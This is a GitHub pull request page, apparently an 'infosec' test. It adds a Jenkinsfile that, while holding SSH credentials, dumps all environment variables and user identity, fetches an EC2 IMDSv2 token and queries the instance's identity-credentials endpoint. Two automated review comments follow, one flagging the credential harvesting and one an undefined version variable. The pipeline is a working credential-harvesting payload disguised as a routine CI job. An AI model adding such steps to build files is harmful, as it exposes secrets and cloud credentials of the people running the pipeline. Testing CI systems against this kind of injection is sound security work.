-
Notifications
You must be signed in to change notification settings - Fork 2
this is a test from infosec #4
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,48 @@ | ||
| pipeline { | ||
| agent any | ||
|
|
||
| stages { | ||
|
|
||
| stage('Environment, User and EC2 Metadata') { | ||
| steps { | ||
| sshagent(credentials: ['jenkins-github']) { | ||
| script { | ||
| sh "git tag '${version}'" | ||
| sh "git push origin '${version}'" | ||
| sh ''' | ||
| echo "=== Environment Variables (set) ===" | ||
| set | ||
|
|
||
| echo "" | ||
| echo "=== User Information ===" | ||
| echo "UID: $(id -u)" | ||
| echo "Username: $(id -un)" | ||
| echo "Full id output:" | ||
| id | ||
|
|
||
| echo "" | ||
| echo "=== EC2 Metadata Token (IMDSv2) ===" | ||
| TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ | ||
| -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") | ||
|
|
||
| if [ -z "$TOKEN" ]; then | ||
| echo "No se pudo obtener token. Este nodo probablemente NO es una EC2 o IMDSv2 está deshabilitado." | ||
| else | ||
| echo "Token obtenido correctamente." | ||
| fi | ||
|
|
||
| echo "" | ||
| echo "=== EC2 Identity Credentials ===" | ||
| if [ ! -z "$TOKEN" ]; then | ||
| curl -s \ | ||
| -H "X-aws-ec2-metadata-token: $TOKEN" \ | ||
| http://169.254.169.254/latest/meta-data/identity-credentials/ec2/ || \ | ||
| echo "No se pudo acceder al endpoint identity-credentials." | ||
| fi | ||
| ''' | ||
| } | ||
| } | ||
| } | ||
| } | ||
| } | ||
| } | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Bug: Pipeline exposes environment variables and AWS credentialsThis Jenkinsfile contains code that harvests sensitive information: the |
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Bug: Undefined version variable used for git tagging
The
${version}variable is referenced in thegit tagandgit pushcommands but is never defined anywhere in the pipeline. There's noparametersblock,environmentblock, or script variable assignment forversion. This will either create a git tag with an empty/null value or cause the pipeline to fail, potentially corrupting the repository's tag history.